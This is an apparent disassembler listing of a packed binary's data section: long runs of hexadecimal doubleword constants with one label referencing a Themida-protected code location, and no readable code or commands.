dd 1CBEA439h, 8125564Fh, 0FAF8073Bh, 52DC74AEh, 0C350900Eh
dd 9498142h, 0E0350176h, 2E043220h, 0B80CD9h, 101755E6h
dd 7558AADDh, 0D49D0098h, 42523FE7h, 685F005Bh, 3822CE19h
dd 850025F1h, 147176E0h, 7D031C8h, 0FCAF0E5h, 48E05BE6h
dd 4E048E5Eh, 67C4BDE8h, 654C1890h, 0AA3700C0h, 1095D6Fh
dd 0EA0A95A2h, 3CFF31A6h, 799C1825h, 58CF4D07h, 7800E848h
dd 3FF0C3BEh, 0AF3067AEh, 4F11E93Bh, 0F8F13942h, 87F42CCAh
dd 29FCF24Dh, 734234D5h, 0F09E6119h, 0D4D7E0EAh, 5CAF25BEh
dd 0CC0994A9h, 0D985ACB0h, 7903A7EEh, 7E8AB00Fh, 89612F14h
dd 0C091E104h, 4F500AE4h, 4033A8C8h, 400C2617h, 0D1462F04h
dd 0B20279EEh, 0A8C0BD4Eh, 21FAB81h, 9C0307Dh, 3AE5DD5Fh
dd 62280456h, 0A8FB5E54h, 86890118h, 3F6BA263h, 0E047B052h
dd 395BD61Ch, 2F01FAE6h, 4BABCC02h, 65E98060h, 88AA97FBh
dd 2CA34901h, 6C32B101h, 382D1753h, 0AF850038h, 0F4898A70h
dd 1FA30042h, 9A3BD2FBh, 0DD600C76h, 0ED868B39h, 0F10E1670h
dd 4F1038B1h, 0C671152Fh, 0B87F1D4Ch, 60B2C0C8h, 0CA8730ABh
dd 1477712Ch, 0E433ED80h, 0FA91F07h, 0BDD2A82Bh, 0E058E589h
dd 410C737Eh, 102EAB0Fh, 35F80022h, 2F0EA665h, 9C556CBFh
dd 49C34784h, 0A0100025h, 7D5D24B4h, 48722D74h, 114F96Ch
dd 1030A823h, 68111845h, 0E0403A8h, 8001078Ch, 3D494A38h
dd 2816BABh, 938EE16Fh, 96E9F00Dh, 0BFB2C500h, 7DBA23CCh
dd 24313081h, 2D51C050h, 0B8415501h, 5836138Ch, 2834003Eh
dd 1AF79542h, 11D25FAh, 0C003804Fh, 98478777h, 0E10CFB1h
dd 0E64133C1h, 6E5CBF60h, 7600FA32h, 0B20BA6AAh, 0CE92BDEh
dd 9365758Ch, 320BF564h, 702EADh, 5914730h, 6C8425B2h
dd 8C278470h, 0DDB880C2h, 7D13Bh, 33D4A335h, 8AA0D89Ah
dd 3AFFEF75h, 2E593480h, 886C00A6h, 1F5405Eh, 6903A2DFh
dd 0C43777Dh, 97DCD029h, 0F8A112F4h, 100CB083h, 1472A600h
dd 94DBEB6Eh, 0C444011Eh, 0E7C33361h, 0EEF84067h, 294E4A3Ch
dd 64AF40C0h, 68CA49EDh, 6A9A9600h, 97CB1B4Fh, 0FCE46916h
dd 0BA30F040h, 3DF83B80h, 0AC00D377h, 940E6662h, 0FA2CCA74h
dd 69004C9Ah, 0A5047E92h, 250D66Ah, 0FBF15F50h, 318D0441h
dd 2401C180h, 589CF4D4h, 0C18042h, 0EC4BC691h, 5F716F00h
dd 135D8C78h, 0CDFF013Fh, 4827CFF3h, 85F04020h, 6301DDB1h
dd 8F65EBE1h, 59905D06h, 9C738071h, 0B7E317B4h, 779E0400h
dd 1C00935Ch, 0EF863637h, 1862A466h, 805F5E4Bh, 5377F012h
dd 0C2C46C01h, 5B7B64Ah, 1874A0F8h, 9855DBFEh, 5913A6A9h
dd 1613D6E7h, 41B10502h, 0A8644B3Dh, 4CBA185Dh, 0C20B46D2h
dd 1B7ECBCCh, 0A05A550Eh, 0A969EE05h, 0BB5D0061h, 9BDBDC18h
dd 7001822Bh, 0F26B9E26h, 0BC4079F6h, 33CA62Ah, 59A8F90Dh
dd 0E098DC5Bh, 0A300BC3Bh, 0BD922770h, 0B62C7FF3h, 871F505Ch
dd 9E60561Eh, 4317ABC0h, 3DA9AFCFh, 0CB13A0FBh, 1E480140h
dd 22A598F1h, 0BDF3007Ch, 5F70FE91h, 0E91448F0h, 82A83F76h
dd 5110E0CBh, 0D3C3284Ah, 97FCE85Eh, 0B8220014h, 0C6BE6A2Bh
dd 2F003467h, 8DAAE481h, 1DFF1218h, 40B94B55h, 88E1A73Eh
dd 7202808Ah, 0B576717Dh, 0DCF8E1F8h, 2108812Fh, 1D1F70E8h
dd 0E03DF0F4h, 8C2400A8h, 51DAB10Ah, 33CB005Ah, 22B52F66h
dd 2002505h, 0C5CAFDADh, 951AEF2h, 0EB197D30h
aDaf db '~D ”',0 ; DATA XREF: Themida_:loc_557F6Eo
db 8Fh, 0F1h, 8Eh
dd 0BDBBFBCBh, 1FE6B5h, 773B6CD8h, 0EA4D97Dh, 0A0BC730h
dd 138C4C6Fh, 18B306h, 0A887C174h, 84023A6Ah, 29552FD1h
dd 977CC84Ah, 14250779h, 10A45C05h, 6317B1Dh, 6D005279h
dd 0FD27BA68h, 0A1A3C19Ch, 53E8DBC0h, 988000FBh, 0F843D360h
dd 0E80E14E3h, 42A0D63Bh, 5784663Dh, 0DA5D3881h, 0CA8420B1h
dd 0FE12C26h, 4065AE0Fh, 2D185F73h, 83C809E9h, 8789630h
dd 0C9BE716h, 7A205700h, 0BCA0DFEFh, 3765017Ch, 3079E3C7h
dd 402DFA04h, 2630E476h, 80D871E0h, 0AE83CB0Bh, 0FC9A3A23h
dd 336AC600h, 0B0C1469Fh, 0D1C44C34h, 7D9DEE04h, 0DD94C06Eh
dd 4F272357h, 0D3A8C0C6h, 547C0052h, 2AEF5F46h, 514E883Dh
dd 7C9658B0h, 2DC300F9h, 0A74DC164h, 0BA2C5DC8h, 22009B4Ch
dd 0B05FCAD0h, 196900EDh, 5084CDF0h, 3976748Fh, 0A3EA0816h
dd 67F89090h, 12C730E2h, 60E395A8h, 13B894BFh, 1B53D29h
dd 760FAB08h, 92B0C849h, 9A255D00h, 41D3B843h, 2E6780Ah
dd 6B78D28Fh, 105E05CBh, 0C8E1803Bh, 9D1174B7h, 68D5006Ah
dd 3BCD7C9Bh, 8079A46Ch, 4FAAA00Eh, 0B0BC923Ah, 838E3900h
dd 20BAE84Ch, 3F61D51Eh, 1E944915h, 0BC8008ECh, 0D8C21477h
dd 30613A3h, 916B046Dh, 745490F4h, 92A0A23Eh, 48542353h
dd 9E250EDCh, 0F58582Ah, 0E724EAC9h, 6FD170C0h, 0F83F1B0Bh
dd 0C46E848Bh, 0BE157Eh, 46CAB5F0h, 0A4788404h, 8E05D01h
dd 0FCB20A06h, 33599F8h, 0AE21E976h, 18070532h, 495AE426h
dd 6F4B6631h, 57604FEDh, 0EC4400EDh, 283C362Fh, 0A0280C0Bh
dd 2500B45Bh, 0BF52AEBEh, 13F769Eh, 4CE6E773h, 3A8182CAh
dd 4A192481h, 0A36BC240h, 97BD0065h, 5459A451h, 0E009A7CAh
dd 7C9E31B4h, 0E7928024h, 9DD1156Ah, 0D462ED28h, 0BABD3B01h
dd 0EE2EC8F7h, 4400C028h, 65A5259h, 0E1008AA1h, 0B9D55E8Fh
dd 3F40477h, 2FCF9564h, 26C8F3EFh, 220646BBh, 9ECC355Bh
dd 6DEA0D81h, 0CAA13C98h, 0CED31FC0h, 49C63D00h, 16452818h
dd 1F2504C2h, 0AE8D679Eh, 0D4C96030h, 0A7810B01h, 0F700EE5Bh
dd 3EE4D198h, 0AA2F7913h, 81021500h, 2B3F048h, 0C610689Dh
dd 0FCC065F6h, 57102F49h, 17A097Ch, 0D470BA32h, 7AF9345Eh
dd 799DD400h, 701047CBh, 9BD11EF5h, 970C89F8h, 1400487Ch
dd 72086EA2h, 0A8D725B7h, 2F6DD060h, 7BDBCF12h, 38F21C00h
dd 3F12C6Eh, 0B084CA14h, 2BE88870h, 0B62411ECh, 4B9298FDh
dd 0CB637801h, 8420EE85h, 239EAF6h, 7551130Fh, 74C02A54h
dd 2F00B88Dh, 0E63D0811h, 1D6679CAh, 430DACB1h, 67A7574Ch
dd 98C038A2h, 0C00DBB7h, 309C4B07h, 946011BFh, 40210714h
dd 0A848C254h, 0CDD40577h, 97D60E8h, 96089FD6h, 704FB0A1h
dd 0E4B861FBh, 7B045311h, 0E1C5FF6Ah, 1684E9C0h, 20EF60A8h
dd 85ED8DF1h, 34480860h, 62EF2E7h, 0B9C57ABCh, 4B0078FCh
dd 407FEB72h, 13D90D7h, 91E56A31h, 7C093B98h, 40E1E754h
dd 0D4D8E3B3h, 0BD60093Fh, 54F0BA5Bh, 0F315321Ch, 64303072h
dd 59CC006Ch, 887626A9h, 0B0A01C24h, 211C5CACh, 184BC367h
dd 8C7D8248h, 64D4E1h, 96C81B95h, 420001CDh, 9C07520Eh
dd 146C1BEh, 1E4C7827h, 0E2FAE656h, 73008056h, 0E2144547h
dd 0BB0E1D77h, 0B04EBCF7h, 7658AF70h, 63D16DFh, 757588B0h
dd 170E12F2h, 0A9AC011Eh, 0EDDB3709h, 0E16BF8CAh, 0D022D730h
dd 0E454B45Fh, 0FC2A00F0h, 0FEF23A4Ch, 0C49015A2h, 8010D607h
dd 7E017581h, 55600408h, 2E50078h, 7D9CFCC4h, 794F9A0Dh
dd 6BCD7090h, 0B6C000D5h, 80506E77h, 3740900Ah, 534300FCh
dd 0EE31C614h, 0CFE4B69Eh, 86B748h, 0C9B8423Dh, 1CE45AFh
dd 578E89C5h, 70D5E2F7h, 560025F8h, 0FB759107h, 6C73DBEh
dd 7D23E8CFh, 6600E1C8h, 0D86CF93Bh, 25772DEh, 0D8B5845h
dd 0D880996Bh, 0A7B86F03h, 10F4B39h, 65105BA8h, 34E4ABE7h
dd 72F53063h, 57D8128h, 18F03002h, 64B81A13h, 4871226Ch
dd 9363A12h, 137594B0h, 341E4Ah, 8BB052A8h, 0A600F83Eh
dd 1B7E3561h, 8C88F2h, 0DE312CE7h, 293A79FCh, 0E2029718h
dd 0EF389Eh, 0B2F761F9h, 0F528A967h, 0AC7DBC07h, 0CAF09574h
dd 0A0C7E786h, 13208390h, 0C38CDEh, 66A8B1C5h, 6500C4DAh
dd 0BA3D3145h, 0FABE9B48h, 85F7003Ah, 0C61EC81h, 10001419h
dd 0E82A95D9h, 4BB2C8D7h, 6228808Dh, 77044B0Dh, 2159809h
dd 126F34CCh, 0E8ABD6EAh, 0D51101ACh, 60AA440Dh, 0E5D0C03Bh
dd 8FFAED31h, 5E81A300h, 3EB46517h, 6DCF011Bh, 854F695Fh
dd 7C207E6Ah, 0B437FD0Ch, 7FE5C280h, 0FA002CD8h, 0FC94E106h
dd 12D44E33h, 1A9121h, 0E44C73A1h, 0BE4DE393h, 6CF31F1Ch
dd 0B5012780h, 1389978Ch, 0E6BAA0Dh, 1460B644h, 0BDA0C4CCh
dd 6302B890h, 9F2CA792h, 0DD2C419Eh, 350F9879h, 0B58CC9F5h
dd 0DA3DD528h, 1E98DC5Dh, 806530ADh, 0C366AC8Ch, 8E5B9Ah
dd 0FE1F8264h, 395E3D89h, 4BFDD480h, 0C0B57012h, 0E0805611h
dd 0FA06A2ACh, 1D478F65h, 30FD7370h, 9249AAC3h, 340B44ACh
dd 40300C0Dh, 777118h, 0E918FF7Eh, 10A043B3h, 43B82E7Eh
dd 0AB28D91Ch, 0A2390D46h, 2C9D1C68h, 3A4D03E1h, 0C09D48D1h
dd 7F9835CDh, 1564F09h, 0F6C064CFh, 60C8069h, 0D030C8B0h
dd 0B5E41066h, 1D75A0Bh, 3B3C4D8Ch, 50803E95h, 0F62E30FEh
dd 46B42678h, 24DE26ECh, 887480ECh, 0E461C0CFh, 8069DA25h
dd 0BE90234Ch, 4A53188Ch, 2BDE6068h, 90E0A327h, 0B0523308h
dd 370A0758h, 0C0D60B2Dh, 60AD63B0h, 1E7AF700h, 0A70616EDh
dd 0A09E09D7h, 70F4CC91h, 4CBA4401h, 4080A965h, 0B186F079h
dd 0EE00F46Bh, 0AD22566h, 5FA8B5Eh, 0DBAA2311h, 9970C0EFh
dd 0CB004D09h, 29F193EDh, 9065BCh, 0BA08F8F0h, 7E721C0Ch
dd 0D8193E27h, 7A880014h, 5367C2EDh, 380063A1h, 0D0EB183Dh
dd 13F839Dh, 92795F91h, 64DAB8E2h, 0C412ABECh, 30E85616h
dd 436400BAh, 6DFDACD6h, 90491308h, 4818BAB6h, 0E1CE8A71h
dd 0D828802Eh, 0C2B79052h, 0C110241Ch, 251BB908h, 0E641EF28h
dd 912E4354h, 6BEE2C3Ch, 0F86B0490h, 6E610048h, 395A4910h
dd 0C400F77Ah, 886315CEh, 330D4A1h, 0DABDF4C2h, 3ADB5B3Dh
dd 0FE21807h, 7AC7E9DCh, 0E0DF0357h, 0B5DAC890h, 0E6DD0171h
dd 0D7BE0774h, 0E0FB7058h, 0EA492701h, 0EE3B52CFh, 166881ACh
dd 85EB010Ah, 8070629Fh, 216E5488h, 0C0EA442Dh, 0A8415729h
dd 0E00E0F86h, 80EF9210h, 0BDB59056h, 2780A4E6h, 2C719588h
dd 250F9810h, 3B00948Dh, 0A4CA34DCh, 0AB4C4897h, 4FCB07E8h
dd 10F25427h, 2F5802FBh, 8C968000h, 0A4AF42C1h, 0F3B763Dh
dd 61333188h, 0B7767A20h, 0DF0E1D1Fh, 0E0CE14A8h, 46EC89BCh
dd 90D407C9h, 0AA390EFBh, 15100CCh, 6F137107h, 0DB04A405h
dd 0B2802E3Dh, 73A1AF7Fh, 63BF008Fh, 0B818CFC1h, 0A701E54Dh
dd 0D7BC9CB3h, 0A73029D1h, 29809DC5h, 0AAFF31BEh, 0DCBB218h
dd 14701AE9h, 0C830A4FAh, 0B39BE500h, 0BFE2963h, 0C3360D02h
dd 0A1E3F00Ch, 0A1EFC6A4h, 2478C130h, 0F22DC5h, 0BE020FC4h
dd 0BB3B3E9Bh, 0CE5D8CDDh, 0BF6105h, 0EAE5238h, 3FE0C4F8h
dd 0B894852Ah, 0B9457800h, 0D84CF710h, 5393006Ah, 52E17B87h
dd 3900B720h, 68ACEBA6h, 60D83F56h, 481E3865h, 2009F94h
dd 72BD1CD9h, 505329h, 5A9E6335h, 24E891B5h, 3C00D0BEh
dd 0C564B13Dh, 0C0930E87h
dd 1040ED09h, 3FDC2CCBh, 0F72DD41Eh, 53868BC0h, 25629Eh
dd 7EBDF514h, 950E5726h, 4D566300h, 2E55274Eh, 8D2B0FE2h
dd 94805DA7h, 6E5E05D7h, 0C76AF897h, 90D8DFD9h, 0DBEA316Ch
dd 0E9F22701h, 20D7EBA2h, 0C2077820h, 626A0E29h, 0DCD2AC80h
dd 0AC91929Bh, 0AC185E26h, 0EB2CC1h, 0CE66FE4Ch, 95C73336h
dd 79A27007h, 0EAC0AB37h, 3D21455Ah, 0CAE4A31h, 30823AC2h
dd 0B7A52B5Ch, 268F2D60h, 224D6200h, 83D817D1h, 764F002Ch
dd 4AABA11Eh, 2007F87h, 3707F078h, 6337055h, 7D5DBF6Fh
dd 3600FAE6h, 2F6B452h, 7A9074h, 0AD39C7CBh, 6BA6E7DAh
dd 1981C500h, 0FD594ECAh, 0D5D1005Eh, 0FB44CB16h, 0DC003A0Dh
dd 0CD3E2F1Eh, 2E06FD12h, 3A692785h, 4E6EAB00h, 8D012214h
dd 66DF9B00h, 0A272BC1Eh, 80D8F59Ch, 56480028h, 19FC02DAh
dd 8A007E49h, 0DF6DCE26h, 37C24FDh, 0D4F1DC68h, 0D6B8A19Bh
dd 80000DF5h, 787E1808h, 4E7674h, 341C071Fh, 0EBC86E83h
dd 0B4BF2C00h, 7BC1DC92h, 0A4D63CB8h, 94EF1900h, 398556B7h
dd 3E3D2B07h, 7263382Ah, 6876F6h, 78ACD08Fh, 0D266F30h
dd 4100C777h, 0BD32E31h, 0A0AA7569h, 127B9CCh, 52D29248h
dd 80F708CFh, 8D676B40h, 0AC650Ah, 3E35D05Dh, 301687F0h
dd 0AE8F5924h, 0A8EB5F01h, 20E8250Dh, 50C46004h, 2CE9CF64h
dd 0C11CB300h, 5937272Fh, 0B9DC00D9h, 194E3B7Ah, 22007180h
dd 49826156h, 0C712BCh, 0EB524833h, 759F1810h, 144BD200h
dd 5164E6FBh, 6B3E016Eh, 0D30DDA8Eh, 0E4A270E3h, 255BC600h
dd 0D2DBAE28h, 7D42007Ch, 7EBB652h, 5A01DCA6h, 0B9AF98ACh
dd 85403F22h, 6A7BD53h, 2B2C2FEFh, 0A803203Ch, 2DEE237Fh
dd 6EB4E1C7h, 4E9EC4h, 0DC847112h, 0E13008A4h, 0E4BD4105h
dd 0C6AB21DBh, 0F900F022h, 0D3537D27h, 2D9DED2h, 102C5B58h
dd 44E1DFD4h, 0BB34301Bh, 837D2900h, 26DB64B7h, 0BE19004Ch
dd 0AFDDE15Dh, 1200FD5Ah, 2B10AE08h, 709C111h, 1F13337Ch
dd 94F32002h, 0D2009C15h, 0ECE8369Ah, 5B61C8h, 607D3375h
dd 0C7DAEEC0h, 80812939h, 407B68FAh, 7F483604h, 7EF400DCh
dd 936E3D03h, 0BF00D542h, 0AE05A0ABh, 732AAC45h, 49B8008Dh
dd 65EB59FCh, 0E5E8D077h, 3CAD033Fh, 94180E92h, 7C1D00EDh
dd 1C78C744h, 402133CAh, 49FB10ECh, 46E2633Ch, 0C3F6F91Dh
dd 74879F00h, 4876E389h, 2D0838C8h, 900EB1Dh, 0E00262AAh
dd 0EC2A2030h, 41D7F00Fh, 59A24169h, 0A080D11Ah, 0A40C2A0Bh
dd 78002106h, 0CDE87428h, 6080ECBCh, 8394380Ah, 6EECF8F3h
dd 93E98400h, 0DA4B5DCDh, 0BA8A24B4h, 3CE00EEh, 0B99A807Ah
dd 2887A648h, 420EB09Eh, 476DC450h, 0E3100AEBh, 7E8A08CBh
dd 0BE20D9Dh, 0E828A5FCh, 9800491Ah, 43365348h, 1C0ED012h
dd 805CE1DEh, 0C94042DCh, 0B4907A51h, 0BFC86D07h, 8745C20Eh
dd 0A78BFF00h, 0EE84CCh, 6728F253h, 56505FBCh, 0A4E47E07h
dd 979016B2h, 24F059Fh, 696C53E8h, 0D048C53Bh, 3E0347C9h
dd 0C6840CB8h, 86700052h, 0ED0D2143h, 9C00AAC3h, 29FDF359h
dd 3F7C8337h, 0B70053A3h, 0C4731CD6h, 0F3008BE7h, 7A0B02Ah
dd 3EF57C12h, 4A98E91Fh, 365B9D4h, 959BE200h, 790EDEFFh
dd 72AE071Bh, 733FE3D0h, 0CA80976Dh, 9B01051Ah, 0F50332E6h
dd 0D6F08958h, 61B40025h, 623164DEh, 0A3D0EDFh, 5C5087A8h
dd 3060727Fh, 0F6C4289h, 8C1AAF04h, 958538C0h, 0E0FC11Fh
dd 0C0BD92FAh, 2C319467h, 759A1396h, 0B3A80041h, 848AD715h
dd 0F5CB3B0Fh, 0BF2D00FFh, 107A82h, 0ABC9CFB0h, 0C2518F80h
dd 0BC1FACFAh, 8E4FFEF0h, 1954A030h, 0B8D870DBh, 51DF009Ah
dd 0B439E6B3h, 3F010388h, 0FE419761h, 6CF513A3h, 9992D8h
dd 0B4C3C02Dh, 6581AEB7h, 0DC7A3Bh, 714A70F7h, 24C4B955h
dd 0C058DAB3h, 4C66B46Ch, 0C1075300h, 0FCA0653Ch, 8C810074h
dd 0B19644FDh, 63327027h, 600F6010h, 32C15087h, 9CB0490Ch
dd 2E65A9E0h, 0DCDAAB00h, 644D34A8h, 0C25E0083h, 0F4A4040Fh
dd 0F9008A16h, 59133F7Dh, 518718h, 8C9C661h, 56427EEBh
dd 0AD40900Bh, 17F5806Ch, 0F07F782Eh, 318B0B0h, 43110567h
dd 0F09764D7h, 93065629h, 9950FA18h, 0A455D88h, 47CD7E1Fh
dd 8BAA400Ch, 0DF00A941h, 0E6D215F6h, 52896AEh, 0E2364BFh
dd 0EA8C00B6h, 973D1F6Ch, 51318200h, 2D3BE128h, 306B5938h
dd 3A173F00h, 0B07C2CB6h, 19519A0Eh, 0A4CDAA13h, 85864900h
dd 0C6C128h, 5A963433h, 0CE9E2D54h, 0FA2F20C0h, 12A16AE9h
dd 37B2006h, 8F308260h, 214EA28Fh, 2FB4C8A0h, 1200ABACh
dd 4FC87EE1h, 3EEFB59h, 0C5FF1848h, 2800CB3Dh, 0C701ED07h
dd 9A28B744h, 8A105E8h, 918FD927h, 0EC3D046Ch, 0B914446Eh
dd 0FE0A24Eh, 0A05CFA5Fh, 505DC285h, 0EE933C0Ah, 7067477h
dd 0CDA8B596h, 724CA0B0h, 0D00078DDh, 0EB318547h, 1CAD2A88h
dd 41C058E9h, 696800Bh, 0CAEEECD1h, 16CB5012h, 0E4EFA400h
dd 0EA77C559h, 91E000F7h, 0FA6D47D4h, 0DE02968Ch, 437EBE9Ah
dd 0A608C00Ch, 0D7350082h, 0E2C1B90Bh, 0F3005D45h, 52E337ABh
dd 0EAD6923Eh, 46880B26h, 0A88E0920h, 5171F520h, 850139E8h
dd 4AD08743h, 53CC848Bh, 44970650h, 0FCC95D0Bh, 0A70E7F7Ah
dd 40DF07F5h, 2EB694D2h, 0BF38170Dh, 3CC80034h, 26162F2Dh
dd 0A8C0DA00h, 0FDBCFA48h, 8C0F00B7h, 0D1899FCEh, 1F1CF777h
dd 415E3BE0h, 4578E500h, 0C1FEB123h, 502D82ACh, 57CD305Ah
dd 0BC8B483Fh, 4ABE80F4h, 0D8173E6Ch, 0FE543994h, 0D9010273h
dd 0CC6FD4F5h, 200AA087h, 52883738h, 3C5C001h, 583E40B8h
dd 0B7E0220h, 0F68B9B4Ah, 12B3238Ah, 775C405Bh, 844822FCh
dd 0C758C803h, 88D35111h, 50E08Eh, 0C65EB60Fh, 4AC91880h
dd 36965D07h, 0B580E8FEh, 0F0F1697Eh, 17E900BDh, 0E593F7D0h
dd 4C122583h, 245CA815h, 98C7038Eh, 5682370h, 0C6BF3FF2h
dd 1F46C4FDh, 80431FDCh, 41441905h, 18A0893Bh, 0A81E3971h
dd 0FD401F3Fh, 0EAC6B74Dh, 0EB0A00ACh, 9579DAC9h, 0B6003DECh
dd 6BD6879Dh, 383418Dh, 257C5EA6h, 85D119C7h, 0D38FE264h
dd 0A9156DC3h, 0C0E334D7h, 93BBEB5Dh, 23D7742Ch, 97D57600h
dd 0A01C6B68h, 443CE960h, 6A00EBC9h, 5C49BC84h, 0E9074505h
dd 0F591EA00h, 0DF786807h, 188C867h, 0FEC71737h, 0A428814Bh
dd 0DE83C07Eh, 0E8765C80h, 420E753Ch, 1BF1FE00h, 0D97824DDh
dd 66BD0052h, 0DB746284h, 7907A196h, 0A21A03Eh, 0B2F922A0h
dd 0B0694805h, 73578500h, 0D865EFA2h, 1E411100h, 0D792DE48h
dd 1FDB0FB6h, 5900E99Fh, 0DCA4ABE3h, 77ECE0Fh, 65A7C375h
dd 7293B056h, 0E460024h, 4E3736B9h, 8A036179h, 0CC69A402h
dd 947E0044h, 7ACB1AE6h, 870613D3h, 0CA64197Eh, 80112310h
dd 0A0840F03h, 0DC41F40Ah, 0A2E5A286h, 5A569841h, 1DA40D04h
dd 53D410CEh, 8A99A088h, 21106037h, 67430FBEh, 0D6028E03h
dd 0F815F893h, 1BA8C44h, 0B128698Bh, 41A3957Bh, 80BC2D2Ch
dd 29032F61h, 397F840h, 0CAEF8BA0h, 31A94E89h, 0D5D1F065h
dd 0EA0CB2E8h, 41CBACECh, 1D740064h, 0C6D74DFEh, 873A45A5h
dd 219D30CAh, 1D7B3Eh, 5CA85234h, 1CBE29C1h, 0D481BB60h
dd 30689DC7h, 0C131CCA4h, 3D078591h, 55B4A383h, 2FB06360h
dd 33A029C4h, 0A2190084h, 1883E631h, 3CA7270Ch, 0C0930808h
dd 321AE721h, 0B0A8A0Ch
dd 38BAD7C6h, 182BDE03h, 0F0C82304h, 0F21D7800h, 86CA774Dh
dd 0A6144h, 85D31EA1h, 72805C22h, 77FF5F00h, 0EC0548Eh
dd 0A4CD5451h, 0DC6F3A6Bh, 405C251Ch, 4C05484Dh, 0B809CD13h
dd 90630EB9h, 0FB7A2Ch, 37D7758Bh, 0E7DFC668h, 21AC08CCh
dd 0ADD658DCh, 0A4B83B03h, 1900A763h, 0AD1E255Fh, 13044580h
dd 2C5DFEDh, 8543BF47h, 0C42BE778h, 0DD0E989Bh, 10834431h
dd 0FC20BD62h, 773B3215h, 0D6701C9Eh, 1DC0C084h, 0A0524BB7h
dd 0E2490E18h, 6FDAC5E1h, 538639A4h, 0D9EC19CCh, 7C099E12h
dd 23B03010h, 1D7509F9h, 0B0232DF4h, 0FF03CF11h, 0B20E1D7Dh
dd 2DDD73A0h, 71559D31h, 0A4119629h, 0ED3180D5h, 0ECB510A5h
dd 277307C3h, 30B461A3h, 6E0876E0h, 228CEF48h, 545B1E01h
dd 905100D4h, 3AE58267h, 3C0A4C01h, 5B526E33h, 2259E890h
dd 618A02D5h, 0DBBE229Eh, 9382A490h, 2AD3EC3Eh, 0ED467411h
dd 0F11D7902h, 6031AF4Dh, 1EA20B10h, 166C6101h, 0C64D165h
dd 0EA7D2FF4h, 0BABC40C9h, 0CD88A176h, 34960637h, 895F630Fh
dd 60810100h, 0CE0A8792h, 617B0051h, 0F820DDE6h, 24EC79CCh
dd 0B53C9404h, 0CCC82D59h, 0D94F0E2Bh, 78E0A9BBh, 0D51778Bh
dd 21C84A30h, 48799h, 3ABF8CBEh, 2861CC43h, 0E889A86Dh
dd 1D7230D6h, 874DF411h, 4809D88h, 25901E9Bh, 73B70258h
dd 0EDEC5FDh, 60F8E4AAh, 0BD772313h, 85AE5B03h, 9B5051F1h
dd 60FAE64Bh, 0E4F31A7h, 0CE0AF5E2h, 84B06BC7h, 0D2906186h
dd 642D5049h, 0E07A0365h, 1837BA32h, 0EF594102h, 845C8B7Ch
dd 0EC0876F4h, 0D80DE89Dh, 0CAE0492Ch, 0A17900E3h, 0C805B443h
dd 8CC9C6Bh, 8721EFh, 221179EBh, 3DB10F4Dh, 38E3BF03h
dd 1202377Dh, 0FBED771h, 0E20046DDh, 3E3C4F78h, 0B5FF4900h
dd 7C59A889h, 0E83730ECh, 0B4480E31h, 906361C9h, 2C987100h
dd 0E2BDF7h, 0B59E9FCFh, 3100D0BAh, 2361FC63h, 7A067C81h
dd 0C55F3ADBh, 0F1CACC19h, 0BBB842A4h, 11454320h, 0A5A30490h
dd 0C3A1DFECh, 1C8BF92h, 0B0B00FE8h, 8488521Eh, 411D81Ah
dd 0E760EC8Ch, 4323DD79h, 0AB443F94h, 0BE79EF00h, 221C572Ch
dd 55012828h, 46EE01BBh, 0D94CFE45h, 8D08E0A3h, 0D4BE8C0Ah
dd 4A4480BCh, 4B0EA02Ch, 0CE51E89Eh, 0ECF900FCh, 0D413BFh
dd 0CDB4F854h, 3825F43Eh, 0B049A560h, 3520B9Fh, 7C37AEACh
dd 0F00FA4BAh, 2CF32E64h, 71229ABh, 0AD7DCE0Dh, 94F62004h
dd 2007289h, 4A62376Bh, 0F44469h, 0C8A5FE5Bh, 43490D1Ah
dd 8274554Ch, 2DE1C76h, 0CC6448C7h, 0DCECBA1Ch, 0A555D580h
dd 0A003E0C5h, 88F14970h, 8278BF8Ah, 0B4086128h, 41C06375h
dd 132188D4h, 288AB85Fh, 0EC2CB043h, 55621303h, 510C23A4h
dd 0A82F09D0h, 1AD4B0A0h, 31AA6430h, 7BD1098h, 0C7E52429h
dd 14409FBBh, 0A20C62A1h, 1861723Ah, 7C91C22Dh, 15E00269h
dd 0B832279Fh, 8B299641h, 85FCE428h, 30C91C2Ah, 146BDEF8h
dd 0ACAE248Eh, 5652CC00h, 7EC50EB5h, 0C7DBCA06h, 52895471h
dd 283BCC37h, 835DCE1Fh, 22E8D044h, 50CC9AE2h, 1131DC3Eh
dd 0BF880883h, 3214F980h, 4AFF3A6h, 62FEC278h, 4010CD8Ah
dd 5E9C28CBh, 105384A1h, 0E111E4Bh, 8B55D3D5h, 933604C1h
dd 8A703075h, 0A1BB2708h, 0FD5380C6h, 7143F494h, 2956D00h
dd 5084F63Dh, 7FE00304h, 0AA377915h, 4F1F7107h, 0BCA04791h
dd 0F84AB8F0h, 90E90015h, 6143CB99h, 0FC00EC7Fh, 880EBA83h
dd 11DB867Ch, 0D1A482h, 674A079Ch, 0EE64E8h, 511E5F0Bh
dd 0D7ECDDCBh, 53CA4905h, 0B8CEA819h, 5BC36088h, 0B5DE0025h
dd 82CF9DEDh, 564847C7h, 0BE1C9E28h, 1020DF53h, 49352D5Ch
dd 45095060h, 0C003E57Dh, 5900D3A1h, 0C56CD73Fh, 0FE43621Ch
dd 0AB9600E2h, 0E149A5F4h, 6C98FC29h, 0A1463CB0h, 0E331A301h
dd 0B26A083h, 321BFA00h, 52AC0E01h, 0FC65C601h, 0F98F1666h
dd 443297F1h, 823CD723h, 0EC43A279h, 13B81910h, 0DB79E0B0h
dd 0B2E800CFh, 598F7862h, 771F95C7h, 61CB5C82h, 7CA44826h
dd 6BE17D40h, 3497C0FFh, 94809891h, 831B3757h, 0E0498413h
dd 5863A046h, 0B0EB0049h, 80683D7Ch, 0BF00DFD7h, 67FA4459h
dd 258C1977h, 0CC2126D5h, 201B537Dh, 36437C90h, 0F2321602h
dd 0A4B1B883h, 0EE31095h, 0A4C32C32h, 426A4088h, 0FE010278h
dd 913B257Bh, 0E094BE83h, 17832C7Dh, 0C0F2EF32h, 0E6700032h
dd 1255320Fh, 308B7D48h, 0CC7B56E8h, 230612F0h, 0FE265EF3h
dd 3EC71A79h, 0B4846160h, 0E374C901h, 73AD28A9h, 1EF2328h
dd 4DF31D73h, 809C737Fh, 1F1E9C05h, 99C900AFh, 721C4234h
dd 0F057CA6h, 0D35A2867h, 0EB77A005h, 0CC8E94C5h, 10C1CF88h
dd 8230D6F3h, 5369263Dh, 51C5041Fh, 0D8E8C1C4h, 0F0591301h
dd 0C1845EFAh, 63A5B911h, 0B8F99E9Ch, 0F48C1B12h, 728B08F2h
dd 0A5C4FFD7h, 8B9A0056h, 4C9BCDA2h, 0AE2FD701h, 0B0DDBE39h
